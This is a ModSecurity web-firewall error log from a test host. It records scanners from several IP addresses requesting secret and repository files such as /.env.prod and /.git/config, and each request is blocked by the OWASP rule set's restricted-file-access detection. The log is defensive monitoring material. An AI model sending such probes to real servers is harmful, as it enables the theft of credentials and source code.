[Mon Jun 23 16:34:40.389792 2025] [:error] [pid 4043406] [client 93.123.109.81:53440] [client 93.123.109.81] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aFlmAF_pdyUlvIFiq-vdVQAAAAo"]
[Mon Jun 23 16:34:40.389973 2025] [:error] [pid 4043406] [client 93.123.109.81:53440] [client 93.123.109.81] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aFlmAF_pdyUlvIFiq-vdVQAAAAo"]
[Mon Jun 23 16:34:40.500055 2025] [:error] [pid 4051145] [client 93.123.109.81:53456] [client 93.123.109.81] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aFlmANTTBJaxeDZTUWGgYwAAABE"]
[Mon Jun 23 16:34:40.500423 2025] [:error] [pid 4051145] [client 93.123.109.81:53456] [client 93.123.109.81] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aFlmANTTBJaxeDZTUWGgYwAAABE"]
[Mon Jun 23 16:34:40.500647 2025] [:error] [pid 4051145] [client 93.123.109.81:53456] [client 93.123.109.81] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aFlmANTTBJaxeDZTUWGgYwAAABE"]
[Mon Jun 23 16:34:41.873264 2025] [authz_core:error] [pid 4043406] [client 93.123.109.81:53518] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Mon Jun 23 16:34:41.978920 2025] [:error] [pid 4051145] [client 93.123.109.81:53530] [client 93.123.109.81] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aFlmAdTTBJaxeDZTUWGgZAAAABE"]
[Mon Jun 23 16:34:41.979169 2025] [:error] [pid 4051145] [client 93.123.109.81:53530] [client 93.123.109.81] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aFlmAdTTBJaxeDZTUWGgZAAAABE"]
[Mon Jun 23 16:34:41.979357 2025] [:error] [pid 4051145] [client 93.123.109.81:53530] [client 93.123.109.81] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aFlmAdTTBJaxeDZTUWGgZAAAABE"]
[Mon Jun 30 03:17:22.357930 2025] [:error] [pid 3576956] [client 54.163.84.159:33976] [client 54.163.84.159] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "aGHlouohZhhhenRd2sInYAAAAAE"]
[Mon Jun 30 03:17:22.361355 2025] [:error] [pid 3576956] [client 54.163.84.159:33976] [client 54.163.84.159] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "aGHlouohZhhhenRd2sInYAAAAAE"]
[Mon Jun 30 03:17:22.361586 2025] [:error] [pid 3576956] [client 54.163.84.159:33976] [client 54.163.84.159] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "aGHlouohZhhhenRd2sInYAAAAAE"]
[Mon Jun 30 03:17:22.795941 2025] [:error] [pid 3577142] [client 54.163.84.159:33992] [client 54.163.84.159] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGHlovKM4bcSwfntaSbf4wAAAAU"]
[Mon Jun 30 03:17:22.796314 2025] [:error] [pid 3577142] [client 54.163.84.159:33992] [client 54.163.84.159] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGHlovKM4bcSwfntaSbf4wAAAAU"]
[Mon Jun 30 03:17:22.796569 2025] [:error] [pid 3577142] [client 54.163.84.159:33992] [client 54.163.84.159] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGHlovKM4bcSwfntaSbf4wAAAAU"]
[Wed Jul 02 15:24:15.608088 2025] [:error] [pid 818758] [client 195.178.110.161:41196] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGUy_-GJvLFogFczGxHUMQAAABU"]
[Wed Jul 02 15:24:15.611321 2025] [:error] [pid 818758] [client 195.178.110.161:41196] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGUy_-GJvLFogFczGxHUMQAAABU"]
[Wed Jul 02 15:24:15.611534 2025] [:error] [pid 818758] [client 195.178.110.161:41196] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGUy_-GJvLFogFczGxHUMQAAABU"]
[Sat Jul 05 07:00:29.752560 2025] [:error] [pid 945015] [client 34.162.39.0:39054] [client 34.162.39.0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGixbYnQ3HXSURt4X9K-IAAAAAE"]
[Sat Jul 05 07:00:29.752783 2025] [:error] [pid 945015] [client 34.162.39.0:39054] [client 34.162.39.0] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGixbYnQ3HXSURt4X9K-IAAAAAE"]
[Sat Jul 05 07:00:29.752976 2025] [:error] [pid 945015] [client 34.162.39.0:39054] [client 34.162.39.0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGixbYnQ3HXSURt4X9K-IAAAAAE"]
[Sat Jul 05 07:00:29.863683 2025] [:error] [pid 945015] [client 34.162.39.0:39054] [client 34.162.39.0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGixbYnQ3HXSURt4X9K-IQAAAAE"]
[Sat Jul 05 07:00:29.864020 2025] [:error] [pid 945015] [client 34.162.39.0:39054] [client 34.162.39.0] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGixbYnQ3HXSURt4X9K-IQAAAAE"]
[Sat Jul 05 07:00:29.864286 2025] [:error] [pid 945015] [client 34.162.39.0:39054] [client 34.162.39.0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGixbYnQ3HXSURt4X9K-IQAAAAE"]
[Sat Jul 05 09:51:33.204339 2025] [:error] [pid 945015] [client 34.162.87.4:35760] [client 34.162.87.4] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGjZhYnQ3HXSURt4X9K-LQAAAAE"]
[Sat Jul 05 09:51:33.204606 2025] [:error] [pid 945015] [client 34.162.87.4:35760] [client 34.162.87.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGjZhYnQ3HXSURt4X9K-LQAAAAE"]
[Sat Jul 05 09:51:33.204788 2025] [:error] [pid 945015] [client 34.162.87.4:35760] [client 34.162.87.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGjZhYnQ3HXSURt4X9K-LQAAAAE"]
[Sat Jul 05 09:51:33.315336 2025] [:error] [pid 945015] [client 34.162.87.4:35760] [client 34.162.87.4] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGjZhYnQ3HXSURt4X9K-LgAAAAE"]
[Sat Jul 05 09:51:33.315551 2025] [:error] [pid 945015] [client 34.162.87.4:35760] [client 34.162.87.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGjZhYnQ3HXSURt4X9K-LgAAAAE"]
[Sat Jul 05 09:51:33.315732 2025] [:error] [pid 945015] [client 34.162.87.4:35760] [client 34.162.87.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGjZhYnQ3HXSURt4X9K-LgAAAAE"]
[Sat Jul 05 10:45:37.321284 2025] [:error] [pid 945020] [client 34.162.14.236:48108] [client 34.162.14.236] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGjmMXmYY6U6UiQyU3bCWAAAAAU"]
[Sat Jul 05 10:45:37.321540 2025] [:error] [pid 945020] [client 34.162.14.236:48108] [client 34.162.14.236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGjmMXmYY6U6UiQyU3bCWAAAAAU"]
[Sat Jul 05 10:45:37.321701 2025] [:error] [pid 945020] [client 34.162.14.236:48108] [client 34.162.14.236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGjmMXmYY6U6UiQyU3bCWAAAAAU"]
[Sat Jul 05 10:45:37.432315 2025] [:error] [pid 945020] [client 34.162.14.236:48108] [client 34.162.14.236] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGjmMXmYY6U6UiQyU3bCWQAAAAU"]
[Sat Jul 05 10:45:37.432635 2025] [:error] [pid 945020] [client 34.162.14.236:48108] [client 34.162.14.236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGjmMXmYY6U6UiQyU3bCWQAAAAU"]
[Sat Jul 05 10:45:37.432883 2025] [:error] [pid 945020] [client 34.162.14.236:48108] [client 34.162.14.236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGjmMXmYY6U6UiQyU3bCWQAAAAU"]
[Sat Jul 05 13:29:10.827437 2025] [:error] [pid 945018] [client 34.162.174.26:46180] [client 34.162.174.26] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGkMhs-EaHfkH-3DQY4htAAAAAQ"]
[Sat Jul 05 13:29:10.827667 2025] [:error] [pid 945018] [client 34.162.174.26:46180] [client 34.162.174.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGkMhs-EaHfkH-3DQY4htAAAAAQ"]
[Sat Jul 05 13:29:10.827847 2025] [:error] [pid 945018] [client 34.162.174.26:46180] [client 34.162.174.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGkMhs-EaHfkH-3DQY4htAAAAAQ"]
[Sat Jul 05 13:29:10.937891 2025] [:error] [pid 945018] [client 34.162.174.26:46180] [client 34.162.174.26] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGkMhs-EaHfkH-3DQY4htQAAAAQ"]
[Sat Jul 05 13:29:10.938122 2025] [:error] [pid 945018] [client 34.162.174.26:46180] [client 34.162.174.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGkMhs-EaHfkH-3DQY4htQAAAAQ"]
